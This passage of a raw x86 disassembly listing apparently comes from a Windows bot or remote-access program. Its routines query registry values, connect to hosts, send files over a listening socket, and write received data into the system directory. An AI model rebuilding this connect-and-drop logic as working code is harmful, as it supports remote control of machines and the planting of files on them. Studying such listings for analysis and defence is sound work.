loc_416048: ; CODE XREF: sub_415F56+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_41FBF0
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_416063
mov ecx, 280h
loc_416063: ; CODE XREF: sub_415F56+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_41606F
mov eax, 1E0h
loc_41606F: ; CODE XREF: sub_415F56+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call ds:dword_4E2F68 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_4160B9
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call ds:dword_4E3024 ; SendMessageA
loc_4160B9: ; CODE XREF: sub_415F56+153j
push [ebp+var_4]
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_4160D6
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call ds:dword_4E3024 ; SendMessageA
loc_4160D6: ; CODE XREF: sub_415F56+16Ej
push [ebp+var_4]
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_4160F5
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call ds:dword_4E3024 ; SendMessageA
loc_4160F5: ; CODE XREF: sub_415F56+18Bj
push [ebp+var_4]
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_416112
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call ds:dword_4E3024 ; SendMessageA
loc_416112: ; CODE XREF: sub_415F56+1AAj
push [ebp+var_8]
call sub_41C9D0
push esi
call sub_41C9D0
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_41613F
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call ds:dword_4E3024 ; SendMessageA
loc_41613F: ; CODE XREF: sub_415F56+63j
; sub_415F56+D0j ...
push [ebp+var_4]
call ds:dword_4E3078 ; DestroyWindow
mov eax, ebx
loc_41614A: ; CODE XREF: sub_415F56+39j
pop edi
pop esi
pop ebx
leave
retn
sub_415F56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41614F proc near ; CODE XREF: sub_401C87+758Ap
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
xor esi, esi
push edi
inc esi
xor ebx, ebx
push esi
push ds:dword_4EABD8
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow_0 ; "Window"
call ds:dword_4E2F18
mov edi, eax
cmp edi, ebx
jnz short loc_41618D
mov eax, esi
jmp loc_416389
; ---------------------------------------------------------------------------
loc_41618D: ; CODE XREF: sub_41614F+35j
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_4161AA
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call ds:dword_4E3024 ; SendMessageA
jmp short loc_4161AC
; ---------------------------------------------------------------------------
loc_4161AA: ; CODE XREF: sub_41614F+47j
xor eax, eax
loc_4161AC: ; CODE XREF: sub_41614F+59j
cmp eax, ebx
jnz short loc_4161B7
loc_4161B0: ; CODE XREF: sub_41614F+8Bj
; sub_41614F+BCj
mov ebx, esi
jmp loc_416380
; ---------------------------------------------------------------------------
loc_4161B7: ; CODE XREF: sub_41614F+5Fj
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_4161D7
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call ds:dword_4E3024 ; SendMessageA
loc_4161D7: ; CODE XREF: sub_41614F+71j
cmp [ebp+var_7C], ebx
jz short loc_4161B0
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_4161FA
push ebx
push ebx
push 42Ch
push edi
call ds:dword_4E3024 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_4161FD
; ---------------------------------------------------------------------------
loc_4161FA: ; CODE XREF: sub_41614F+96j
mov [ebp+arg_4], ebx
loc_4161FD: ; CODE XREF: sub_41614F+A9j
push [ebp+arg_4]
call sub_41BE40
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_4161B0
push [ebp+arg_4]
call sub_41BE40
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_416224
xor ebx, ebx
inc ebx
jmp loc_416380
; ---------------------------------------------------------------------------
loc_416224: ; CODE XREF: sub_41614F+CBj
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_416241
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call ds:dword_4E3024 ; SendMessageA
loc_416241: ; CODE XREF: sub_41614F+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_41FBF0
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_41625C
mov ecx, 0A0h
loc_41625C: ; CODE XREF: sub_41614F+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_416266
push 78h
pop eax
loc_416266: ; CODE XREF: sub_41614F+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_4162AB
push esi
push [ebp+arg_4]
push 42Dh
push edi
call ds:dword_4E3024 ; SendMessageA
loc_4162AB: ; CODE XREF: sub_41614F+14Aj
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_4162C8
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call ds:dword_4E3024 ; SendMessageA
loc_4162C8: ; CODE XREF: sub_41614F+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_416306
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call ds:dword_4E3024 ; SendMessageA
loc_416306: ; CODE XREF: sub_41614F+1A3j
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_416321
push [ebp+arg_0]
push ebx
push 414h
push edi
call ds:dword_4E3024 ; SendMessageA
loc_416321: ; CODE XREF: sub_41614F+1C0j
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_41633A
push ebx
push ebx
push 43Eh
push edi
call ds:dword_4E3024 ; SendMessageA
loc_41633A: ; CODE XREF: sub_41614F+1DBj
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_416357
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call ds:dword_4E3024 ; SendMessageA
loc_416357: ; CODE XREF: sub_41614F+1F4j
push [ebp+var_4]
call sub_41C9D0
push esi
call sub_41C9D0
pop ecx
pop ecx
push edi
call ds:dword_4E2F68 ; IsWindow
test eax, eax
jz short loc_416380
push ebx
push ebx
push 40Bh
push edi
call ds:dword_4E3024 ; SendMessageA
loc_416380: ; CODE XREF: sub_41614F+63j
; sub_41614F+D0j ...
push edi
call ds:dword_4E3078 ; DestroyWindow
mov eax, ebx
loc_416389: ; CODE XREF: sub_41614F+39j
pop edi
pop esi
pop ebx
leave
retn
sub_41614F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41638E proc near ; CODE XREF: sub_401C87+25AAp
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_EC = byte ptr -0ECh
var_6C = byte ptr -6Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F0h
push edi
xor edi, edi
cmp ds:off_44E134, edi
mov [ebp+var_8], 80h
jz loc_41653E
push ebx
push esi
mov eax, offset off_44E134
mov esi, offset dword_44E140
loc_4163B9: ; CODE XREF: sub_41638E+1A8j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push edi
push dword ptr [eax]
push dword ptr [esi-10h]
call ds:dword_4E3038 ; RegOpenKeyExA
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_EC]
push eax
push edi
push edi
push dword ptr [esi-8]
push [ebp+var_4]
call ds:dword_4E2EC8 ; RegQueryValueExA
test eax, eax
jnz loc_416525
mov eax, [esi]
cmp eax, edi
jz loc_4164E5
push eax
lea eax, [ebp+var_EC]
push eax
lea eax, [ebp+var_3F0]
push offset dword_44E568
push eax
call sub_41EA60
lea eax, [ebp+var_3F0]
push (offset aSr+2)
push eax
call sub_41E490
mov ebx, eax
add esp, 18h
cmp ebx, edi
jz loc_416525
jmp short loc_416444
; ---------------------------------------------------------------------------
loc_416432: ; CODE XREF: sub_41638E+C7j
push dword ptr [esi+4]
lea eax, [ebp+var_6C]
push eax
call sub_41EBB0
pop ecx
test eax, eax
pop ecx
jz short loc_41645C
loc_416444: ; CODE XREF: sub_41638E+A2j
push ebx
lea eax, [ebp+var_6C]
push 64h
push eax
call sub_41EFB0
add esp, 0Ch
test eax, eax
jnz short loc_416432
jmp loc_4164DC
; ---------------------------------------------------------------------------
loc_41645C: ; CODE XREF: sub_41638E+B4j
push 3Dh
push dword ptr [esi+4]
call sub_41F720
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+var_6C]
jz short loc_41649F
push (offset aSr+4)
push eax
call sub_41F870
push (offset aSr+6)
push edi
call sub_41F870
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset dword_44E574
push eax
call sub_41EA60
add esp, 20h
jmp short loc_4164B7
; ---------------------------------------------------------------------------
loc_41649F: ; CODE XREF: sub_41638E+DFj
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset dword_44E58C
push eax
call sub_41EA60
add esp, 10h
loc_4164B7: ; CODE XREF: sub_41638E+10Fj
push edi
lea eax, [ebp+var_2EC]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
lea eax, [ebp+var_2EC]
push eax
call sub_415A3C
add esp, 18h
loc_4164DC: ; CODE XREF: sub_41638E+C9j
push ebx
call sub_41BCF0
pop ecx
jmp short loc_416525
; ---------------------------------------------------------------------------
loc_4164E5: ; CODE XREF: sub_41638E+65j
lea eax, [ebp+var_EC]
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset dword_44E5A4
push eax
call sub_41EA60
push edi
lea eax, [ebp+var_2EC]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409C75
lea eax, [ebp+var_2EC]
push eax
call sub_415A3C
add esp, 28h
loc_416525: ; CODE XREF: sub_41638E+5Bj
; sub_41638E+9Cj ...
push [ebp+var_4]
call ds:dword_4E2FA4 ; RegCloseKey
add esi, 18h
lea eax, [esi-0Ch]
cmp [eax], edi
jnz loc_4163B9
pop esi
pop ebx
loc_41653E: ; CODE XREF: sub_41638E+19j
pop edi
leave
retn
sub_41638E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416541 proc near ; CODE XREF: sub_4165C7+33p
; sub_416B2D+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call ds:dword_4E3048 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_4165BD
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call ds:dword_4E2FC8 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call ds:dword_4E3008 ; inet_addr
cmp eax, esi
jnz short loc_4165A2
push [ebp+arg_0]
call ds:dword_4E304C ; gethostbyname
test eax, eax
jz short loc_4165BD
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_4165A2: ; CODE XREF: sub_416541+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call ds:dword_4E2F70 ; connect
cmp eax, esi
jnz short loc_4165C1
push edi
call ds:dword_4E3060 ; closesocket
loc_4165BD: ; CODE XREF: sub_416541+1Bj
; sub_416541+58j
mov eax, esi
jmp short loc_4165C3
; ---------------------------------------------------------------------------
loc_4165C1: ; CODE XREF: sub_416541+73j
mov eax, edi
loc_4165C3: ; CODE XREF: sub_416541+7Ej
pop edi
pop esi
leave
retn
sub_416541 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4165C7 proc near ; DATA XREF: sub_401C87+9DEo
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_41EF80
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push [ebp+var_14]
xor esi, esi
inc esi
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_416541
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_41665A
lea eax, [ebp+var_11B4]
push offset unk_44E5BC
push eax
call sub_41EA60
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_41663D
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409C75
add esp, 14h
loc_41663D: ; CODE XREF: sub_4165C7+59j
lea eax, [ebp+var_11B4]
push eax
call sub_415A3C
push [ebp+var_10]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_41665A: ; CODE XREF: sub_4165C7+3Fj
push offset dword_4EABF4
push ebx
call sub_41A8ED
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_4166C5
lea eax, [ebp+var_11B4]
push offset unk_44E5E0
push eax
call sub_41EA60
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_4166A1
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409C75
add esp, 14h
loc_4166A1: ; CODE XREF: sub_4165C7+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_415A3C
pop ecx
push ebx
call ds:dword_4E3060 ; closesocket
push [ebp+var_10]
call sub_40B9A7
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_4166C5: ; CODE XREF: sub_4165C7+A3j
push 64h
call ds:dword_4F534C ; Sleep
xor edi, edi
mov esi, 1000h
loc_4166D4: ; CODE XREF: sub_4165C7+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call ds:dword_4E2FE0 ; recv
test eax, eax
jle short loc_416731
lea eax, [ebp+var_11B4]
push offset asc_44E610 ; "\n"
push eax
call sub_41F630
lea eax, [ebp+var_11B4]
push eax
call sub_41A6D9
add esp, 0Ch
test eax, eax
jz short loc_416731
push 64h
call ds:dword_4F534C ; Sleep
push 0Ah
call sub_40B8D3
test eax, eax
pop ecx
jnz short loc_4166D4
loc_416731: ; CODE XREF: sub_4165C7+130j
; sub_4165C7+154j
lea eax, [ebp+var_11B4]
push offset unk_44E614
push eax
call sub_41EA60
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_416764
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_409C75
add esp, 14h
loc_416764: ; CODE XREF: sub_4165C7+180j
lea eax, [ebp+var_11B4]
push eax
call sub_415A3C
pop ecx
push ebx
call ds:dword_4E3060 ; closesocket
push [ebp+var_10]
call sub_40B9A7
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
sub_4165C7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416788 proc near ; DATA XREF: sub_401C87+78BCo
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
xor ebx, ebx
xor esi, esi
inc ebx
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp+var_10], esi
mov [ebp+var_C], esi
mov [ebp+var_20], esi
call ds:dword_4E3048 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_18], edi
jnz short loc_4167D6
push offset unk_44E648
jmp loc_41698F
; ---------------------------------------------------------------------------
loc_4167D6: ; CODE XREF: sub_416788+42j
push 10h
lea eax, [ebp+var_30]
push esi
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_30], 2
push esi
call ds:dword_4E2FC8 ; htons
mov word ptr [ebp+var_2E], ax
lea eax, [ebp+var_30]
push 10h
push eax
push edi
mov [ebp+var_2E+2], esi
call ds:dword_4E2FF4 ; bind
test eax, eax
jz short loc_416814
push offset unk_44E66C
jmp loc_41698F
; ---------------------------------------------------------------------------
loc_416814: ; CODE XREF: sub_416788+80j
lea eax, [ebp+var_1C]
mov [ebp+var_1C], 10h
push eax
lea eax, [ebp+var_30]
push eax
push edi
call ds:dword_4E2F6C ; getsockname
push [ebp+var_2E]
call ds:dword_4E2EF8 ; htons
mov [ebp+var_4], eax
lea eax, [ebp+var_1E0]
push eax
mov [ebp+arg_0], esi
call sub_41BC70
pop ecx
loc_416846: ; CODE XREF: sub_416788+EFj
mov ecx, [ebp+arg_0]
mov al, [ebp+ecx+var_1E0]
cmp al, 20h
jnz short loc_416859
push 5Fh
pop eax
jmp short loc_41685C
; ---------------------------------------------------------------------------
loc_416859: ; CODE XREF: sub_416788+CAj
movsx eax, al
loc_41685C: ; CODE XREF: sub_416788+CFj
mov [ebp+ecx+var_604], al
lea eax, [ebp+var_1E0]
inc ecx
push eax
mov [ebp+arg_0], ecx
call sub_41BC70
cmp [ebp+arg_0], eax
pop ecx
jbe short loc_416846
push ebx
push edi
call ds:dword_4E2FF0 ; listen
test eax, eax
jz short loc_41688F
push offset unk_44E690
jmp loc_41698F
; ---------------------------------------------------------------------------
loc_41688F: ; CODE XREF: sub_416788+FBj
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp+var_1E0]
push 80000000h
push eax
call ds:off_4F53C0
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_4168B9
push offset unk_44E6B4
jmp loc_41698F
; ---------------------------------------------------------------------------
loc_4168B9: ; CODE XREF: sub_416788+125j
push esi
push eax
call ds:off_4F53DC
mov [ebp+arg_0], eax
push eax
movzx eax, word ptr [ebp+var_4]
push eax
push [ebp+var_1FC]
call sub_40AEAD
pop ecx
push eax
call ds:dword_4E3008 ; inet_addr
push eax
call ds:dword_4E2FC4 ; htonl
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset dword_44E6D4
push eax
call sub_41EA60
push esi
lea eax, [ebp+var_3FC]
push esi
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409C75
add esp, 2Ch
lea eax, [ebp+var_38]
mov [ebp+var_38], 3Ch
mov [ebp+var_34], esi
push eax
push esi
lea eax, [ebp+var_500]
push esi
push eax
push esi
mov [ebp+var_4FC], edi
mov [ebp+var_500], ebx
call ds:dword_4E2FB0 ; select
test eax, eax
jg short loc_416969
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_44E6EC
push eax
push [ebp+var_1FC]
call sub_409C75
jmp loc_416A8D
; ---------------------------------------------------------------------------
loc_416969: ; CODE XREF: sub_416788+1BFj
lea eax, [ebp+var_14]
mov [ebp+var_14], 10h
push eax
lea eax, [ebp+var_48]
push eax
push edi
call ds:dword_4E305C ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_1F8], eax
jnz short loc_4169A2
push offset unk_44E704
loc_41698F: ; CODE XREF: sub_416788+49j
; sub_416788+87j ...
lea eax, [ebp+var_3FC]
push eax
call sub_41EA60
pop ecx
pop ecx
jmp loc_416A90
; ---------------------------------------------------------------------------
loc_4169A2: ; CODE XREF: sub_416788+200j
push edi
call ds:dword_4E3060 ; closesocket
cmp [ebp+arg_0], esi
jz loc_416A54
mov edi, 400h
loc_4169B7: ; CODE XREF: sub_416788+2C3j
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
cmp eax, edi
jge short loc_4169C4
mov [ebp+var_4], eax
loc_4169C4: ; CODE XREF: sub_416788+237j
push edi
lea eax, [ebp+var_A04]
push esi
push eax
call sub_41E4B0
mov eax, [ebp+arg_0]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push [ebp+var_8]
call ds:off_4F53F4
lea eax, [ebp+var_20]
push esi
push eax
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_8]
call ds:off_4F53BC
push esi
lea eax, [ebp+var_A04]
push [ebp+var_4]
push eax
push [ebp+var_1F8]
call ds:dword_4E3018 ; send
mov [ebp+var_4], eax
push esi
cdq
add [ebp+var_10], eax
lea eax, [ebp+var_A04]
push edi
push eax
push [ebp+var_1F8]
adc [ebp+var_C], edx
call ds:dword_4E2FE0 ; recv
cmp eax, ebx
jl loc_416AE9
mov eax, [ebp+var_4]
cmp eax, ebx
jl loc_416AE9
sub [ebp+arg_0], eax
jnz loc_4169B7
mov edi, [ebp+var_18]
loc_416A54: ; CODE XREF: sub_416788+224j
push [ebp+var_8]
call ds:off_4F533C
push [ebp+var_C]
push [ebp+var_10]
call sub_41727E
pop ecx
pop ecx
push eax
push [ebp+var_44]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_1E0]
push eax
lea eax, [ebp+var_3FC]
push offset unk_44E728
push eax
call sub_41EA60
loc_416A8D: ; CODE XREF: sub_416788+1DCj
add esp, 14h
loc_416A90: ; CODE XREF: sub_416788+215j
cmp [ebp+var_50], esi
jnz short loc_416AB5
push esi
lea eax, [ebp+var_3FC]
push [ebp+var_54]
push eax
lea eax, [ebp+var_DC]
push eax
push [ebp+var_1FC]
call sub_409C75
add esp, 14h
loc_416AB5: ; CODE XREF: sub_416788+30Bj
lea eax, [ebp+var_3FC]
push eax
call sub_415A3C
cmp edi, esi
pop ecx
jbe short loc_416ACD
push edi
call ds:dword_4E3060 ; closesocket
loc_416ACD: ; CODE XREF: sub_416788+33Cj
push [ebp+var_1F8]
call ds:dword_4E3060 ; closesocket
push [ebp+var_58]
call sub_40B9A7
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
loc_416AE9: ; CODE XREF: sub_416788+2AFj
; sub_416788+2BAj
push esi
lea eax, [ebp+var_DC]
push [ebp+var_54]
push offset dword_44E754
push eax
push [ebp+var_1FC]
call sub_409C75
push offset dword_44E76C
call sub_415A3C
add esp, 18h
push [ebp+var_1F8]
call ds:dword_4E3060 ; closesocket
push [ebp+var_58]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
sub_416788 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416B2D proc near ; DATA XREF: sub_401C87+77Eo
var_14C4 = byte ptr -14C4h
var_4C4 = byte ptr -4C4h
var_2C4 = byte ptr -2C4h
var_1C0 = dword ptr -1C0h
var_1B8 = byte ptr -1B8h
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 14C4h
call sub_41EF80
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1C0]
rep movsd
xor esi, esi
xor ebx, ebx
inc esi
push 104h
mov [eax+1B0h], esi
lea eax, [ebp+var_2C4]
push eax
mov [ebp+var_8], ebx
call ds:dword_4F5348 ; GetSystemDirectoryA
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_2C4]
push offset dword_44E784
push eax
call sub_41EA60
add esp, 10h
lea eax, [ebp+var_2C4]
push ebx
push 80h
push 2
push ebx
push esi
push 40000000h
push eax
call ds:off_4F53C0
cmp eax, 0FFFFFFFFh
jnz short loc_416BB7
push offset unk_44E78C
jmp short loc_416BFD
; ---------------------------------------------------------------------------
loc_416BB7: ; CODE XREF: sub_416B2D+81j
push eax
call ds:off_4F533C
lea eax, [ebp+var_2C4]
push offset aAB ; "a+b"
push eax
call sub_41E490
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jnz short loc_416BDF
push offset unk_44E7C0
jmp short loc_416BFD
; ---------------------------------------------------------------------------
loc_416BDF: ; CODE XREF: sub_416B2D+A9j
push [ebp+var_20]
lea eax, [ebp+var_1B8]
push eax
call sub_416541
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+arg_0], eax
jnz short loc_416C10
push offset unk_44E7EC
loc_416BFD: ; CODE XREF: sub_416B2D+88j
; sub_416B2D+B0j
lea eax, [ebp+var_4C4]
push eax
call sub_41EA60
pop ecx
pop ecx
jmp loc_416D0A
; ---------------------------------------------------------------------------
loc_416C10: ; CODE XREF: sub_416B2D+C9j
mov esi, 1000h
loc_416C15: ; CODE XREF: sub_416B2D+14Ej
push esi
lea eax, [ebp+var_14C4]
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_14C4]
push ebx
push esi
push eax
push [ebp+arg_0]
call ds:dword_4E2FE0 ; recv
mov edi, eax
cmp edi, ebx
jz loc_416CDC
cmp edi, 0FFFFFFFFh
jz short loc_416C7D
push [ebp+var_4]
lea eax, [ebp+var_14C4]
push edi
push 1
push eax
call sub_4211C0
add [ebp+var_8], edi
add esp, 10h
push [ebp+var_8]
call ds:dword_4E2FC4 ; htonl
mov [ebp+var_C], eax
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push [ebp+arg_0]
call ds:dword_4E3018 ; send
jmp short loc_416C15
; ---------------------------------------------------------------------------
loc_416C7D: ; CODE XREF: sub_416B2D+118j
lea eax, [ebp+var_4C4]
push offset dword_44E80C
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409C75
lea eax, [ebp+var_4C4]
push eax
call sub_415A3C
push [ebp+var_4]
call sub_41BCF0
add esp, 24h
push [ebp+arg_0]
call ds:dword_4E3060 ; closesocket
push [ebp+var_1C]
call sub_40B9A7
pop ecx
push 1
call ds:dword_4F53A0 ; ExitThread
loc_416CDC: ; CODE XREF: sub_416B2D+10Fj
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_41727E
push eax
lea eax, [ebp+var_1B8]
push eax
lea eax, [ebp+var_1A4]
push eax
lea eax, [ebp+var_4C4]
push offset unk_44E824
push eax
call sub_41EA60
add esp, 1Ch
loc_416D0A: ; CODE XREF: sub_416B2D+DEj
cmp [ebp+var_14], ebx
jnz short loc_416D2F
push ebx
lea eax, [ebp+var_4C4]
push [ebp+var_18]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+var_1C0]
call sub_409C75
add esp, 14h
loc_416D2F: ; CODE XREF: sub_416B2D+1E0j
lea eax, [ebp+var_4C4]
push eax
call sub_415A3C
cmp [ebp+var_4], ebx
pop ecx
jz short loc_416D4A
push [ebp+var_4]
call sub_41BCF0
pop ecx
loc_416D4A: ; CODE XREF: sub_416B2D+212j
cmp [ebp+arg_0], ebx
jbe short loc_416D58
push [ebp+arg_0]
